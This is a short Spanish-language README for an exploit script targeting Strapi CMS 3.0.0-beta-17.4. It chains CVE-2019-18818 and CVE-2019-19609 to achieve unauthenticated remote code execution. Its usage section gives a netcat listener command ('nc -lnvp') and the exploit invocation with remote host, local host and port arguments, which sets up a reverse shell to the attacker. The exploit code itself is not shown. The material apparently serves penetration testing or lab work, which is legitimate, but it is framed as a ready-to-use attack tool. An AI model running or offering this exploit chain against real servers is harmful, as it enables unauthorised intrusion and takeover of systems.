Exploit de Strapi CMS

Este exploit se dirige a dos vulnerabilidades en la versión 3.0.0-beta-17.4 del framework Strapi CMS, permitiendo la ejecución remota de código (RCE) sin autenticación.

Vulnerabilidades

CVE-2019-18818

Mecanismo débil de recuperación de contraseña para contraseña olvidada

CVSS: 9.8 - Crítico

Más detalles: https://nvd.nist.gov/vuln/detail/CVE-2019-18818

CVE-2019-19609

Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo ('Inyección de comandos del sistema operativo')

CVSS: 7.2 - Alto

Más detalles: https://nvd.nist.gov/vuln/detail/CVE-2019-19609

Uso:

Antes de ejecutar este exploit, inicie un listener de netcat en el lport que especifique en las siguientes opciones.

Iniciar listener netcat

nc -lnvp <lport>

Ejecutar exploit

exploit.py <rhost> <lhost> <lport>